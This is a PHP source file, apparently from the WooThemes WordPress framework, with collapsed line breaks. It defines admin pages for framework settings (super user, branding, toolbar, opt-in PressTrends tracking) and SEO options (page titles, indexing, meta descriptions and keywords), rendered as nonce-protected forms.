function woothemes_framework_settings_page() { $manualurl = get_option('woo_manual'); $shortname = 'framework_woo'; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", '', substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('wp_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $framework_options = array(); $framework_options[] = array('name' => __('Admin Settings', 'woothemes'), 'icon' => 'general', 'type' => 'heading'); $framework_options[] = array('name' => __('Super User (username)', 'woothemes'), 'desc' => sprintf(__('Enter your %s to hide the Framework Settings and Update Framework from other users. Can be reset from the %s under %s.', 'woothemes'), '<strong>' . __('username', 'woothemes') . '</strong>', '<a href="' . admin_url('options.php') . '">' . __('WP options page', 'woothemes') . '</a>', '<code>framework_woo_super_user</code>'), 'id' => $shortname . '_super_user', 'std' => '', 'class' => 'text', 'type' => 'text'); $framework_options[] = array('name' => __('Disable Backup Settings Menu Item', 'woothemes'), 'desc' => sprintf(__('Disable the %s menu item in the theme menu.', 'woothemes'), '<strong>' . __('Backup Settings', 'woothemes') . '</strong>'), 'id' => $shortname . '_backupmenu_disable', 'std' => '', 'type' => 'checkbox'); $framework_options[] = array('name' => __('Theme Update Notification', 'woothemes'), 'desc' => __('This will enable notices on your theme options page that there is an update available for your theme.', 'woothemes'), 'id' => $shortname . '_theme_version_checker', 'std' => '', 'type' => 'checkbox'); $framework_options[] = array('name' => __('WooFramework Update Notification', 'woothemes'), 'desc' => __('This will enable notices on your theme options page that there is an update available for the WooFramework.', 'woothemes'), 'id' => $shortname . '_framework_version_checker', 'std' => '', 'type' => 'checkbox'); $framework_options[] = array('name' => __('Theme Settings', 'woothemes'), 'icon' => 'general', 'type' => 'heading'); $framework_options[] = array('name' => __('Remove Generator Meta Tags', 'woothemes'), 'desc' => __('This disables the output of generator meta tags in the HEAD section of your site.', 'woothemes'), 'id' => $shortname . '_disable_generator', 'std' => '', 'type' => 'checkbox'); $framework_options[] = array('name' => __('Image Placeholder', 'woothemes'), 'desc' => __('Set a default image placeholder for your thumbnails. Use this if you want a default image to be shown if you haven\'t added a custom image to your post.', 'woothemes'), 'id' => $shortname . '_default_image', 'std' => '', 'type' => 'upload'); $framework_options[] = array('name' => __('Disable Shortcodes Stylesheet', 'woothemes'), 'desc' => __('This disables the output of shortcodes.css in the HEAD section of your site.', 'woothemes'), 'id' => $shortname . '_disable_shortcodes', 'std' => '', 'type' => 'checkbox'); $framework_options[] = array('name' => __('Output "Tracking Code" Option in Header', 'woothemes'), 'desc' => sprintf(__('This will output the %s option in your header instead of the footer of your website.', 'woothemes'), '<strong>' . __('Tracking Code', 'woothemes') . '</strong>'), 'id' => $shortname . '_move_tracking_code', 'std' => 'false', 'type' => 'checkbox'); $framework_options[] = array('name' => __('Branding', 'woothemes'), 'icon' => 'misc', 'type' => 'heading'); $framework_options[] = array('name' => __('Options panel header', 'woothemes'), 'desc' => __('Change the header image for the WooThemes Backend.', 'woothemes'), 'id' => $shortname . '_backend_header_image', 'std' => '', 'type' => 'upload'); $framework_options[] = array('name' => __('Options panel icon', 'woothemes'), 'desc' => __('Change the icon image for the WordPress backend sidebar.', 'woothemes'), 'id' => $shortname . '_backend_icon', 'std' => '', 'type' => 'upload'); $framework_options[] = array('name' => __('WordPress login logo', 'woothemes'), 'desc' => __('Change the logo image for the WordPress login page.', 'woothemes') . '<br /><br />' . __('Optimal logo size is 274x63px', 'woothemes'), 'id' => $shortname . '_custom_login_logo', 'std' => '', 'type' => 'upload'); $framework_options[] = array('name' => __('WordPress login URL', 'woothemes'), 'desc' => __('Change the URL that the logo image on the WordPress login page links to.', 'woothemes'), 'id' => $shortname . '_custom_login_logo_url', 'std' => '', 'class' => 'text', 'type' => 'text'); $framework_options[] = array('name' => __('WordPress login logo Title', 'woothemes'), 'desc' => __('Change the title of the logo image on the WordPress login page.', 'woothemes'), 'id' => $shortname . '_custom_login_logo_title', 'std' => '', 'class' => 'text', 'type' => 'text'); /* $framework_options[] = array( 'name' => __( 'Font Stacks (Beta)', 'woothemes' ), 'icon' => 'typography', 'type' => 'heading' ); $framework_options[] = array( 'name' => __( 'Font Stack Builder', 'woothemes' ), 'desc' => __( 'Use the font stack builder to add your own custom font stacks to your theme. To create a new stack, fill in the name and a CSS ready font stack. Once you have added a stack you can select it from the font menu on any of the Typography settings in your theme options.', 'woothemes' ), 'id' => $shortname . '_font_stack', 'std' => 'Added Font Stacks', 'type' => 'string_builder" ); */ global $wp_version; if ($wp_version >= '3.1') { $framework_options[] = array('name' => __('WordPress Toolbar', 'woothemes'), 'icon' => 'header', 'type' => 'heading'); $framework_options[] = array('name' => __('Disable WordPress Toolbar', 'woothemes'), 'desc' => __('Disable the WordPress Toolbar.', 'woothemes'), 'id' => $shortname . '_admin_bar_disable', 'std' => '', 'type' => 'checkbox'); $framework_options[] = array('name' => __('Enable the WooFramework Toolbar enhancements', 'woothemes'), 'desc' => __('Enable several WooFramework-specific enhancements to the WordPress Toolbar, such as custom navigation items for "Theme Options".', 'woothemes'), 'id' => $shortname . '_admin_bar_enhancements', 'std' => '', 'type' => 'checkbox'); } // PressTrends Integration if (defined('WOO_PRESSTRENDS_THEMEKEY')) { $framework_options[] = array('name' => __('PressTrends', 'woothemes'), 'icon' => 'presstrends', 'type' => 'heading'); $framework_options[] = array('name' => __('Enable PressTrends Tracking', 'woothemes'), 'desc' => __('Enable sending of usage data to PressTrends.', 'woothemes'), 'id' => $shortname . '_presstrends_enable', 'std' => 'false', 'type' => 'checkbox'); $framework_options[] = array('name' => __('What is PressTrends?', 'woothemes'), 'desc' => '', 'id' => $shortname . '_presstrends_info', 'std' => sprintf(__('PressTrends is a simple usage tracker that allows us to see how our customers are using WooThemes themes - so that we can help improve them for you. %sNone%s of your personal data is sent to PressTrends.%sFor more information, please view the PressTrends %s.', 'woothemes'), '<strong>', '</strong>', '<br /><br />', '<a href="http://presstrends.io/privacy" target="_blank">' . __('privacy policy', 'woothemes') . '</a>'), 'type' => 'info'); } update_option('woo_framework_template', $framework_options); ?> <div class="wrap" id="woo_container"> <?php do_action('wooframework_wooframeworksettings_container_inside'); ?> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save"><?php _e('Options Updated', 'woothemes'); ?> </div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset"><?php _e('Options Reset', 'woothemes'); ?> </div></div> <form action='' enctype="multipart/form-data" id="wooform" method="post"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-framework-options-update'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-framework-options-update'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo get_template_directory_uri(); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <?php wooframework_display_theme_version_data(); ?> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="changelog"><a title="Theme Changelog" href="<?php echo esc_url($manualurl); ?> #Changelog"><?php _e('View Changelog', 'woothemes'); ?> </a></li> <li class="docs"><a title="Theme Documentation" href="<?php echo esc_url($manualurl); ?> "><?php _e('View Theme Documentation', 'woothemes'); ?> </a></li> <li class="forum"><a href="<?php echo esc_url('http://support.woothemes.com/'); ?> " target="_blank"><?php _e('Visit Support Desk', 'woothemes'); ?> </a></li> <li class="right"><img style="display:none" src="<?php echo esc_url(get_template_directory_uri() . '/functions/images/loading-top.gif'); ?> " class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($framework_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <input type="hidden" name="woo_save" value="save" /> <img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="<?php esc_attr_e('Working...', 'woothemes'); ?> " /> <input type="submit" value="<?php esc_attr_e('Save All Changes', 'woothemes'); ?> " class="button submit-button" /> </form> <form action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-framework-options-reset'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-framework-options-reset'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <span class="submit-footer-reset"> <!-- <input name="reset" type="submit" value="<?php esc_attr_e('Reset Options', 'woothemes'); ?> " class="button submit-button reset-button" onclick="return confirm( '<?php esc_attr_e('Click OK to reset. Any settings will be lost!', 'woothemes'); ?> ' );" /> --> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }
function woothemes_seo_page() { $themename = get_option('woo_themename'); $manualurl = get_option('woo_manual'); $shortname = 'seo_woo'; //Framework Version in Backend Head $woo_framework_version = get_option('woo_framework_version'); //Version in Backend Head $theme_data = get_theme_data(get_template_directory() . '/style.css'); $local_version = $theme_data['Version']; //GET themes update RSS feed and do magic include_once ABSPATH . WPINC . '/feed.php'; $pos = strpos($manualurl, 'documentation'); $theme_slug = str_replace("/", "", substr($manualurl, $pos + 13)); //13 for the word documentation //add filter to make the rss read cache clear every 4 hours add_filter('wp_feed_cache_transient_lifetime', create_function('$a', 'return 14400;')); $inner_pages = array('a' => 'Page title; Blog title', 'b' => 'Page title;', 'c' => 'Blog title; Page title;', 'd' => 'Page title; Blog description', 'e' => 'Blog title; Page title; Blog description'); $seo_options = array(); $seo_options[] = array("name" => "General Settings", "icon" => "general", "type" => "heading"); $seo_options[] = array("name" => "Please Read", "type" => "info", "std" => "Welcome to the WooSEO feature. <br /><small>Here we help you take control of your search engine readiness with some in-built theme options. Our themes do however support some of WordPress.org's most commonly used SEO plugins - <strong>All-in-One SEO Pack</strong>, <strong>Headspace 2</strong> and <strong>WordPress SEO By Yoast</strong>. Use the checkbox below to use 3rd party plugin data.</small>"); $seo_options[] = array("name" => "Use 3rd Party Plugin Data", "desc" => "Meta data added to <strong>custom fields in posts and pages</strong> will be extracted and used where applicable. This typically does not include Homepages and Archives, and only Singular templates.", "id" => $shortname . "_use_third_party_data", "std" => "false", "type" => "checkbox"); $seo_options[] = array("name" => "Hide SEO custom fields", "desc" => "Check this box to hide the input fields created in the post and page edit screens.", "id" => $shortname . "_hide_fields", "std" => "false", "type" => "checkbox"); $seo_options[] = array("name" => "Page Title", "icon" => "misc", "type" => "heading"); $seo_options[] = array("name" => "Separator", "desc" => "Define a new separator character for your page titles.", "id" => $shortname . "_seperator", "std" => "|", "type" => "text"); $seo_options[] = array("name" => "Blog Title", "desc" => "NOTE: This is the same setting as per the SETTINGS > GENERAL tab in the WordPress backend.", "id" => "blogname", "std" => "", "type" => "text"); $seo_options[] = array("name" => "Blog Description", "desc" => "NOTE: This is the same setting as per the SETTINGS > GENERAL tab in the WordPress backend.", "id" => "blogdescription", "std" => "", "type" => "text"); $seo_options[] = array("name" => "Enable woo_title()", "desc" => "woo_title() makes use of WordPress's built in wp_title() function to control the output for your page titles. It's also recommended for use with plugins.", "id" => $shortname . "_wp_title", "std" => "false", "class" => "collapsed", "type" => "checkbox"); $seo_options[] = array("name" => "Disable Custom Titles", "desc" => "If you prefer to have uniform titles across you theme. Alternatively they will be generated from custom fields and/or plugin data.", "id" => $shortname . "_wp_custom_field_title", "std" => "false", "class" => "hidden", "type" => "checkbox"); $seo_options[] = array("name" => "Paged Variable", "desc" => "The name variable that will appear then paging through archives.", "id" => $shortname . "_paged_var", "std" => "Page", "class" => "hidden", "type" => "text"); $seo_options[] = array("name" => "Paged Variable Position", "desc" => "Change the position where the paged variable will appear.", "id" => $shortname . "_paged_var_pos", "std" => "before", "class" => "hidden", "options" => array('before' => 'Before', 'after' => 'After'), "type" => "select2"); $seo_options[] = array("name" => "Homepage Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_home_layout", "std" => "", "class" => "hidden", "options" => array('a' => 'Blog title; blog description', 'b' => 'Blog title', 'c' => 'Blog description'), "type" => "select2"); $seo_options[] = array("name" => "Single Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_single_layout", "std" => "", "class" => "hidden", "options" => $inner_pages, "type" => "select2"); $seo_options[] = array("name" => "Page Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_page_layout", "std" => "", "class" => "hidden", "options" => $inner_pages, "type" => "select2"); $seo_options[] = array("name" => "Archive Title Layout", "desc" => "Define the order the title, description and meta data appears in.", "id" => $shortname . "_archive_layout", "std" => "", "class" => "hidden", "options" => $inner_pages, "type" => "select2"); $seo_options[] = array("name" => "Indexing Meta", "icon" => "misc", "type" => "heading"); /*$seo_options[] = array( "name" => "Add Indexing Meta", "desc" => "Add links to the header telling the search engine what the start, next, previous and home urls are.", "id" => $shortname."_meta_basics", "std" => "false", "type" => "checkbox" ); */ $seo_options[] = array("name" => "Archive Indexing", "desc" => "Select which archives to index on your site. Aids in removing duplicate content from being indexed, preventing content dilution.", "id" => $shortname . "_meta_indexing", "std" => "category", "type" => "multicheck", "options" => array('category' => 'Category Archives', 'tag' => 'Tag Archives', 'posttype' => 'Post Type Archives', 'taxonomy' => 'Taxonomy Archives', 'author' => 'Author Pages', 'search' => 'Search Results', 'date' => 'Date Archives')); $seo_options[] = array("name" => "Add 'nofollow' meta", "desc" => "By default your site outputs 'follow' meta on all your pages, meaning search engines will follow all links. <br />Enable this option to output 'nofollow' meta, which will tell search engines to <strong>not follow</strong> links on your site.", "id" => $shortname . "_meta_single_follow", "std" => "", "type" => "checkbox"); $seo_options[] = array("name" => "Description Meta", "icon" => "misc", "type" => "heading"); $seo_options[] = array("name" => "Homepage Description", "desc" => "Choose where to populate your Homepage meta description from.", "id" => $shortname . "_meta_home_desc", "std" => "a", "options" => array("a" => "Off", "b" => "From WP Site Description", "c" => "From Custom Homepage Description"), "type" => "radio"); $seo_options[] = array("name" => "Custom Homepage Description", "desc" => "Add a custom meta description to your homepage.", "id" => $shortname . "_meta_home_desc_custom", "std" => "", "type" => "textarea"); $seo_options[] = array("name" => "Single Page/Post Description", "desc" => "Add your post/page description from custom fields. <strong>* See below</strong>", "id" => $shortname . "_meta_single_desc", "std" => "a", "options" => array("a" => "Off *", "b" => "From Customs Field and/or Plugins", "c" => "Automatically from Post/Page Content"), "type" => "radio"); $seo_options[] = array("name" => "Global Post/Page Descriptions", "desc" => "Add a custom meta description to your posts and pages. This will only show if no other data is available from the selection above. Will still be added even if setting above is set to \"Off\".", "id" => $shortname . "_meta_single_desc_sitewide", "std" => "", "class" => "collapsed", "type" => "checkbox"); $seo_options[] = array("name" => "Add Global Description", "desc" => "Add your global decription.", "id" => $shortname . "_meta_single_desc_custom", "std" => "", "class" => "hidden", "type" => "textarea"); $seo_options[] = array("name" => "Keyword Meta", "icon" => "misc", "type" => "heading"); $seo_options[] = array("name" => "Homepage Keywords", "desc" => "Choose where to populate your Homepage meta description from.", "id" => $shortname . "_meta_home_key", "std" => "a", "options" => array("a" => "Off", "c" => "From Custom Homepage Keywords"), "type" => "radio"); $seo_options[] = array("name" => "Custom Homepage Keywords", "desc" => "Add a (comma separated) list of keywords to your homepage.", "id" => $shortname . "_meta_home_key_custom", "std" => "", "type" => "textarea"); $seo_options[] = array("name" => "Single Page/Post Keywords", "desc" => "Add your post/page keywords from custom field. <strong>* See below</strong>", "id" => $shortname . "_meta_single_key", "std" => "a", "options" => array("a" => "Off *", "b" => "From Custom Fields and/or Plugins", "c" => "Automatically from Post Tags & Categories"), "type" => "radio"); $seo_options[] = array("name" => "Custom Post/Page Keywords", "desc" => "Add custom meta keywords to your posts and pages. This will only show if no other data is available from the options above. Even if the option above is set to <strong>'Off'</strong>, this will still be added to your site.", "id" => $shortname . "_meta_single_key_sitewide", "std" => "", "class" => "collapsed", "type" => "checkbox"); $seo_options[] = array("name" => "Custom Post/Page Keywords", "desc" => "Add a (comma separated) list of keywords to your posts and pages.", "id" => $shortname . "_meta_single_key_custom", "std" => "", "class" => "hidden", "type" => "textarea"); update_option('woo_seo_template', $seo_options); ?> <div class="wrap" id="woo_container"> <?php if (class_exists('All_in_One_SEO_Pack') || class_exists('Headspace_Plugin') || class_exists('WPSEO_Admin') || class_exists('WPSEO_Frontend')) { echo "<div id='woo-seo-notice' class='woo-notice'><p><strong>3rd Party SEO Plugin(s) Detected</strong> - Some WooTheme SEO functionality has been disabled.</p></div>"; } ?> <?php if (get_option('blog_public') == 0) { echo "<div id='woo-seo-notice-privacy' class='woo-notice'><p><strong>This site is set to Private</strong> - SEO is disabled, change settings <a href='" . admin_url('options-privacy.php') . "'>here</a>.</p></div>"; } ?> <div id="woo-popup-save" class="woo-save-popup"><div class="woo-save-save">Options Updated</div></div> <div id="woo-popup-reset" class="woo-save-popup"><div class="woo-save-reset">Options Reset</div></div> <form action="" enctype="multipart/form-data" id="wooform" method="post"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-seo-options-update'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-seo-options-update'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <div id="header"> <div class="logo"> <?php if (get_option('framework_woo_backend_header_image')) { ?> <img alt="" src="<?php echo get_option('framework_woo_backend_header_image'); ?> "/> <?php } else { ?> <img alt="WooThemes" src="<?php echo get_template_directory_uri(); ?> /functions/images/logo.png"/> <?php } ?> </div> <div class="theme-info"> <span class="theme"><?php echo $themename; ?> <?php echo $local_version; ?> </span> <span class="framework">Framework <?php echo $woo_framework_version; ?> </span> </div> <div class="clear"></div> </div> <div id="support-links"> <ul> <li class="right"><img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-top.gif" class="ajax-loading-img ajax-loading-img-top" alt="Working..." /><a href="#" id="expand_options">[+]</a> <input type="submit" value="Save All Changes" class="button submit-button" /></li> </ul> </div> <?php $return = woothemes_machine($seo_options); ?> <div id="main"> <div id="woo-nav"> <ul> <?php echo $return[1]; ?> </ul> </div> <div id="content"> <?php echo $return[0]; ?> </div> <div class="clear"></div> </div> <div class="save_bar_top"> <img style="display:none" src="<?php echo get_template_directory_uri(); ?> /functions/images/loading-bottom.gif" class="ajax-loading-img ajax-loading-img-bottom" alt="Working..." /> <input type="hidden" name="woo_save" value="save" /> <input type="submit" value="Save All Changes" class="button submit-button" /> </form> <form action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?> " method="post" style="display:inline" id="wooform-reset"> <?php // Add nonce for added security. if (function_exists('wp_nonce_field')) { wp_nonce_field('wooframework-seo-options-reset'); } // End IF Statement $woo_nonce = ''; if (function_exists('wp_create_nonce')) { $woo_nonce = wp_create_nonce('wooframework-seo-options-reset'); } // End IF Statement if ($woo_nonce == '') { } else { ?> <input type="hidden" name="_ajax_nonce" value="<?php echo $woo_nonce; ?> " /> <?php } // End IF Statement ?> <span class="submit-footer-reset"> <input name="reset" type="submit" value="Reset All SEO Options" class="button submit-button reset-button" onclick="return confirm( 'Click OK to reset all SEO options. All settings will be lost!' );" /> <input type="hidden" name="woo_save" value="reset" /> </span> </form> </div> <div style="clear:both;"></div> </div><!--wrap--> <?php }